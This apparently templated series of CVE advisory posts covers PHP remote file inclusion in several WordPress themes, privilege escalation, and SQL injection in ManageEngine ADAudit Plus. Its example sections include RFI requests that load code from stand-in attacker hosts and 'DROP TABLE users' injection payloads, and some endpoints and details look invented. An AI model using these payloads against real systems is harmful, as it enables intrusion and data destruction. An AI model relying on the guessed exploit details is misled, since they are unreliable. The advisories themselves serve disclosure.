Author: Ameeba

Overview

The CVE-2025-27362 vulnerability is a significant security flaw affecting the BZOTheme Petito, predominantly used in various web-based applications. This vulnerability arises due to the improper control of filename for Include/Require Statement in the PHP Program, a condition also known as ‘PHP Remote File Inclusion.’ If exploited, this vulnerability could lead to potential system compromise or data leakage, posing a severe risk to users’ data and privacy. It is of crucial importance for developers and system administrators to understand this vulnerability, its implications, and the steps needed to mitigate it.

Vulnerability Summary

CVE ID: CVE-2025-27362
Severity: High (8.1 CVSS v3)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

BZOTheme Petito | n/a through 1.6.2

How the Exploit Works

The CVE-2025-27362 vulnerability arises when an attacker manipulates the filename in the Include/Require statement in the PHP program. This manipulation can allow an attacker to load a remote file in place of the intended local file. As a result, the attacker’s remote file is executed on the server, potentially leading to unauthorized access, system compromise, or data leakage.

Conceptual Example Code

Below is a
conceptual
example of how this vulnerability might be exploited:

<?php
// The following include statement is vulnerable
include($_GET['filename'] . '.php');
?>

In this conceptual example, an attacker could manipulate the ‘filename’ GET parameter to point to a remote file. The attacker could craft a URL like:

GET /vulnerable_page.php?filename=http://malicious.example.com/malicious_file HTTP/1.1
Host: target.example.com

This request would cause the server to include and execute the malicious file hosted on `http://malicious.example.com/malicious_file.php`, leading to potential system compromise or data leakage.

Recommended Mitigations

The best course of action to mitigate the risk posed by the CVE-2025-27362 vulnerability is to apply the patch provided by the vendor. In cases where immediate patching is not possible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation. These tools can help block or alert administrators about potentially malicious activity. However, these are not long-term solutions and should be used in conjunction with other security measures.

Overview

The vulnerability we are focusing on in this post is a critical one, identified as CVE-2025-26592, which originates from an improper control of filename for include/require statement in PHP program, more commonly known as ‘PHP Remote File Inclusion’. This vulnerability resides in AncoraThemes Inset, a widely used WordPress theme. This vulnerability matters due to the potential system compromise or data leakage it presents, which could lead to unauthorized access to sensitive information or even total control over the affected system. The severity of the issue, combined with the popularity of the affected software, makes addressing this vulnerability an urgent task for those utilizing AncoraThemes Inset.

Vulnerability Summary

CVE ID: CVE-2025-26592
Severity: Critical (CVSS score 8.1)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

AncoraThemes Inset | Up to and including 1.18.0

How the Exploit Works

The exploit takes advantage of the improper control of filename for include/require statement in PHP within AncoraThemes Inset. This allows an attacker to manipulate the file path that’s passed to these PHP include/require functions, which can then be used to include files from remote servers. This remote file inclusion (RFI) vulnerability provides an opportunity for an attacker to execute arbitrary code on the server, leading to potential system compromise or data leakage.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. In this case, an HTTP request is used to pass a malicious file path to the server:

GET /path/to/vulnerable/script.php?file=http://attacker.com/malicious_script.txt HTTP/1.1
Host: vulnerable.example.com

In this example, the ‘file’ parameter in the URL is manipulated to include a file from an attacker-controlled server (‘attacker.com’). The content of ‘malicious_script.txt’ would then be executed on the vulnerable server.

Mitigation Guidance

The recommended mitigation action for this vulnerability is to apply the vendor’s patch. In cases where immediate patching is not possible, use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. However, these methods can only reduce the risk and not fully eliminate it; applying the vendor’s patch should be the ultimate goal to resolve the vulnerability.

Overview

A critical vulnerability, identified as CVE-2025-24770, has been discovered in BZOTheme CraftXtore. This vulnerability stems from the improper control of filename for Include/Require Statement in PHP Program, also known as ‘PHP Remote File Inclusion’. This vulnerability allows for PHP Local File Inclusion, posing a substantial threat to the security of systems running this software. Given that CraftXtore is widely used for e-commerce stores, the impact of this vulnerability is potentially significant, making it essential for system administrators and cybersecurity professionals to understand and address this issue promptly.

Vulnerability Summary

CVE ID: CVE-2025-24770
Severity: Critical (8.1 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

BZOTheme CraftXtore | Up to and including 1.7

How the Exploit Works

The CVE-2025-24770 vulnerability allows attackers to include files from local or external resources, leading to the execution of arbitrary code. This is possible due to the improper control of filename for Include/Require Statement in PHP Program. Essentially, an attacker can manipulate the input to these PHP functions to include a file that resides outside the intended directories, leading to the execution of malicious code.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited:

GET /index.php?file=http://attacker.com/malicious_script.txt HTTP/1.1
Host: vulnerable-website.com

In this example, the attacker has manipulated the `file` parameter value to include a malicious PHP script (`malicious_script.txt`) hosted on their server (`attacker.com`). When the server processes this request, it includes the malicious script, executing it and potentially leading to system compromise or data leakage.

Mitigation and Prevention

The most effective way to mitigate this vulnerability is by applying the vendor patch. For those unable to immediately apply the patch, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as temporary mitigation. However, these should not replace the need for patching. Regularly updating and patching software is a fundamental part of maintaining a secure IT environment.
Remember, prevention is always better than cure, especially when it comes to cybersecurity. Stay safe!

Overview

CVE-2025-24768 is a critical vulnerability concerning PHP Remote File Inclusion (RFI) in snstheme Nitan. This vulnerability primarily affects PHP developers, website administrators, and businesses utilizing snstheme Nitan versions up to 2.9. The exploitation of this vulnerability can lead to potential system compromise or data leakage, posing a serious threat to data privacy and system integrity.

Vulnerability Summary

CVE ID: CVE-2025-24768
Severity: Critical (8.1/10)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

snstheme Nitan | up to and including 2.9

How the Exploit Works

The vulnerability arises from the improper control of filename for the include/require statement in the PHP program of snstheme Nitan. This allows an attacker to include local files from the server or remote files from any location. The attacker sends a specially crafted request to the server, manipulating the path of the included file. If successful, this enables the attacker to execute arbitrary PHP code, potentially compromising the system or leading to data leakage.

Conceptual Example Code

Below is a conceptual example of how this vulnerability might be exploited. This example is an HTTP request where the attacker alters the file path parameter to point to a malicious PHP file on a remote server.

GET /index.php?file=http://attacker.com/malicious_file.php HTTP/1.1
Host: target.example.com

Countermeasures and Mitigation

As a countermeasure, users of snstheme Nitan are advised to apply the vendor-supplied patch immediately. If the patch cannot be applied immediately, users should consider using Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) as a temporary mitigation strategy to detect and block attempts to exploit this vulnerability.
In the long term, developers should follow best practices for secure coding to prevent such vulnerabilities. This includes validating all input, especially those used in file include operations, and avoiding the use of user-supplied input to construct file paths without proper sanitization and validation.

Overview

CVE-2025-23974 is a critical vulnerability that allows an attacker to escalate privileges within the ifkooo One-Login system. This flaw particularly affects versions from n/a through 1.4 of the One-Login software. Being a security issue that could potentially lead to system compromise or data leakage, understanding and addressing this vulnerability is of paramount importance for all One-Login users and administrators.

Vulnerability Summary

CVE ID: CVE-2025-23974
Severity: High (CVSS: 8.1)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: Privilege Escalation, potential system compromise or data leakage

Affected Products

Product | Affected Versions

ifkooo One-Login | n/a through 1.4

How the Exploit Works

The exploit works by leveraging the Incorrect Privilege Assignment vulnerability present in the ifkooo One-Login software. An attacker can manipulate this flaw to escalate their privileges within the system, potentially gaining unauthorized access to sensitive data or even taking control over the system. This vulnerability stems from a misconfiguration in the role and privilege assignment mechanism in ifkooo One-Login.

Conceptual Example Code

Here is a conceptual example of how an attacker might exploit this vulnerability. It’s important to note that this is a simplified example and actual exploitation might require a more complex approach.

POST /one-login/escalate HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "user_role": "admin", "current_privileges": "low", "desired_privileges": "high" }

In this example, the attacker is attempting to escalate their privileges from ‘low’ to ‘high’ by sending a POST request to the ‘/one-login/escalate’ endpoint.

Mitigation and Recommendations

To mitigate this vulnerability, it’s strongly recommended to apply the vendor patch as soon as it becomes available. In the meantime, utilizing Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) can provide temporary mitigation. Regular monitoring and auditing of system logs can also aid in detecting any suspicious activity related to this vulnerability.
In addition, organizations should follow the principle of least privilege – granting only the minimum privileges necessary for any operation or process. Regular security assessments and updates are also crucial in maintaining a secure environment.

Overview

CVE-2023-26005 is a serious cybersecurity vulnerability that has been identified in the BZOTheme Fitrush theme for PHP-based websites. This vulnerability is of particular concern due to its ability to potentially compromise entire systems or lead to significant data leakage. The susceptibility arises from an improper control of filename for Include/Require Statement in PHP Program, often referred to as ‘PHP Remote File Inclusion. It affects Fitrush versions up to 1.3.4. Given the widespread use of PHP and its associated themes in web development, this vulnerability has the potential to impact a large number of websites and systems, posing serious security risks for businesses and individuals alike.

Vulnerability Summary

CVE ID: CVE-2023-26005
Severity: High (CVSS: 8.1)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

BZOTheme Fitrush | Up to 1.3.4

How the Exploit Works

The vulnerability arises from the PHP program’s improper control of filenames for Include/Require statements, specifically within the BZOTheme Fitrush theme. Essentially, an attacker can manipulate these statements to inject and execute arbitrary PHP code on the server. By doing so, they can gain unauthorized access to the server, potentially leading to a full system compromise or data leakage.

Conceptual Example Code

Below is a conceptual example of how this vulnerability might be exploited. This is a hypothetical HTTP request that an attacker could use to inject malicious code:

GET /path_to_fitrush_theme?file=http://malicious_source/malicious_code.php HTTP/1.1
Host: vulnerable_website.com
Accept: */*
User-Agent: Mozilla/5.0

In this example, the attacker would replace “malicious_source” and “malicious_code.php” with the actual source and PHP file containing the malicious code.

Mitigation

To mitigate this vulnerability, users of BZOTheme Fitrush should apply the latest vendor patch as soon as it becomes available. In the meantime, or in case the vendor patch cannot be applied immediately, users can rely on Web Application Firewalls (WAFs) or Intrusion Detection Systems (IDSs) to help detect and prevent attempts to exploit this vulnerability.
It’s also recommended to disable the use of URL to specify include files in the PHP configuration, and to only use local files for inclusion or requirement. This can be done by setting allow_url_include = Off in the php.ini file.
Cybersecurity is a continuous process, and it’s important to stay updated with the latest threat information and apply necessary security measures promptly. Always ensure that your systems and applications are up-to-date with the latest patches and security configurations.

Overview

The vulnerability CVE-2023-25999 is a critical flaw found in the BodyCenter – Gym, Fitness WooCommerce WordPress Theme. This vulnerability is a PHP Local File Inclusion (LFI) flaw, which can lead to potential system compromise and data leakage. It affects all versions up to and including 2.4 of the BodyCenter theme. The seriousness of this vulnerability is reflected in its CVSS severity score of 8.1, marking it as a high-risk issue.
The vulnerability is particularly concerning due to the widespread use of WordPress and WooCommerce in the fitness industry, potentially putting a multitude of gym and fitness centers at risk. In the wrong hands, this exploit could lead to the compromise of sensitive customer data, including personal fitness plans, billing information, and personal contact details.

Vulnerability Summary

CVE ID: CVE-2023-25999
Severity: High (8.1)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

BodyCenter – Gym, Fitness WooCommerce WordPress Theme | Up to and including 2.4

How the Exploit Works

The PHP Remote File Inclusion vulnerability in the BodyCenter theme results from improper control of the filename for include/require statements in PHP. This allows an attacker to manipulate these statements and include files from remote servers, leading to a local file inclusion vulnerability. As a result, an attacker could execute arbitrary PHP code on the server, potentially leading to full system compromise or data leakage.

Conceptual Example Code

Below is a conceptual example of how an attacker might exploit this vulnerability using a crafted HTTP request:

GET /index.php?page=http://attacker.com/malicious_script.txt HTTP/1.1
Host: target.example.com

In this example, the attacker is manipulating the ‘page’ parameter in the URL to include a PHP file hosted on their server (`attacker.com`). The file `malicious_script.txt` contains malicious PHP code, which will be executed on the target server when the request is processed.

Mitigation

To mitigate this vulnerability, users are advised to apply the patch provided by the vendor as soon as possible. If unable to update immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary protection by detecting and blocking attempts to exploit this vulnerability. However, this should only be considered as a stop-gap measure and not a full solution.

Overview

CVE-2025-41444 is a notable cybersecurity vulnerability affecting Zohocorp ManageEngine ADAudit Plus versions 8510 and prior. The vulnerability primarily exposes the system to authenticated SQL injection attacks in the alerts module of the software.
The risk of such a vulnerability is significant, especially for organizations that rely on ADAudit Plus for their network security. Successful exploitation could potentially compromise the system or lead to a severe data leakage. It is crucial to comprehend the nature of this vulnerability and take immediate mitigating actions.

Vulnerability Summary

CVE ID: CVE-2025-41444
Severity: High (8.3 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: System compromise, severe data leakage

Affected Products

Product | Affected Versions

Zohocorp ManageEngine ADAudit Plus | 8510 and earlier

How the Exploit Works

The vulnerability is a SQL Injection attack that can be executed by an authenticated user. An attacker who has gained access to a valid session or credentials can manipulate the SQL queries in the alerts module of ADAudit Plus. By introducing malicious SQL statements, the attacker can modify, delete, or extract sensitive data from the database. This can lead to unauthorized access to confidential data, system compromise, and severe data leakage.

Conceptual Example Code

Below is a hypothetical example of how the vulnerability might be exploited. Note that this is a conceptual example and is not meant to be used for malicious purposes.

POST /alerts/module HTTP/1.1
Host: target.example.com
Content-Type: application/json
Authentication: Bearer <valid_token>
{
"alert_id": "1; DROP TABLE users;"
}

In this example, the attacker uses a valid token to send a POST request to the alerts module. They inject a malicious SQL command in the ‘alert_id’ parameter. In this case, the command aims to drop the ‘users’ table, potentially leading to loss of crucial data.

Mitigation

To mitigate the vulnerability, organizations are advised to apply the vendor patch as soon as possible. If the patch cannot be applied immediately, using the Web Application Firewall (WAF) or Intrusion Detection System (IDS) can offer temporary protection. It is also recommended to enforce strong authentication and session management controls, limiting the potential for an attacker to gain necessary privileges.

Overview

The IT world has been alerted to yet another security vulnerability, this time within Zohocorp ManageEngine ADAudit Plus software. As CVE-2025-36528, this vulnerability constitutes a significant threat to the safety and privacy of data stored within organizations utilizing versions 8510 and prior of the ADAudit Plus product. In essence, this vulnerability opens the door to authenticated SQL injection attacks, leading to potential system compromise and data leakage. The severity of this issue has been emphasized by its CVSS Severity Score of 8.3, indicating a high impact threat.

Vulnerability Summary

CVE ID: CVE-2025-36528
Severity: High (8.3/10)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Zohocorp ManageEngine ADAudit Plus | Versions 8510 and prior

How the Exploit Works

The exploit takes advantage of a lack of proper sanitization for user-supplied input in Service Account Auditing reports within the affected software. An attacker with authenticated access can inject malicious SQL commands, which then execute in the context of the application’s database. This allows the attacker to view, modify, or delete data, potentially leading to a full system compromise.

Conceptual Example Code

Given the nature of this vulnerability, an attacker could potentially exploit it using a specially crafted HTTP request. The following pseudocode provides a conceptual example of how this might occur:

POST /ADAuditPlus/ServiceAccountAuditReport HTTP/1.1
Host: target.example.com
Content-Type: application/json
Authorization: Bearer <Authenticated User Token>
{
"report_parameters": "'; DROP TABLE users; --"
}

In this example, the attacker submits a maliciously crafted ‘report_parameters’ value that contains SQL commands. These commands could lead to harmful actions such as deletion of crucial data tables.

Mitigation and Prevention

The vendor, Zohocorp, has released a patch that addresses this vulnerability. As such, users of the affected software versions are urged to apply the patch as soon as possible. For temporary mitigation, users can employ Web Application Firewalls (WAFs) or Intrusion Detection Systems (IDS) to detect and block SQL injection attempts. However, these measures are not long-term solutions and should be followed by patch application.

Overview

The cybersecurity landscape is a dynamic one, continually evolving with new vulnerabilities being discovered daily. One such vulnerability that has recently come to light is CVE-2025-27709, a significant SQL injection flaw found in Zohocorp’s ManageEngine ADAudit Plus versions 8510 and prior. This vulnerability poses a significant risk to organizations using this software, as it may result in system compromise or data leakage if exploited by malicious actors.
Zohocorp’s ManageEngine ADAudit Plus is a popular solution widely used for auditing Windows Active Directory, Azure AD, file servers, and more. As such, the vulnerability has the potential to affect a vast number of organizations across different industry sectors, making it an issue of paramount concern.

Vulnerability Summary

CVE ID: CVE-2025-27709
Severity: High (CVSS: 8.3)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Zohocorp ManageEngine ADAudit Plus | Versions 8510 and prior

How the Exploit Works

The vulnerability stems from improper sanitization of user-supplied input in the Service Account Auditing reports functionality. This allows an authenticated attacker to inject malicious SQL queries, which the application executes without validation. Exploiting this vulnerability can lead to unauthorized access to sensitive data, modification of data, and potential system compromise.

Conceptual Example Code

This is a
conceptual
example of how an attacker might exploit the vulnerability using a crafted SQL query.

POST /ServiceAccountAuditing/report HTTP/1.1
Host: target.example.com
Content-Type: application/json
Authorization: Bearer <token>
{
"reportId": "1; DROP TABLE users; --"
}

In this example, the attacker sends a POST request to the report endpoint of the Service Account Auditing functionality. The `reportId` parameter is injected with a malicious SQL query (`1; DROP TABLE users; –`), which if executed, would delete the entire `users` table from the database.

Mitigation

Users of Zohocorp ManageEngine ADAudit Plus versions 8510 and prior are advised to apply the vendor’s patch immediately to mitigate the vulnerability. As a temporary measure, users can also use Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) to detect and block SQL injection attacks. Regular audits and code reviews can also help in identifying and remediating such vulnerabilities in the future.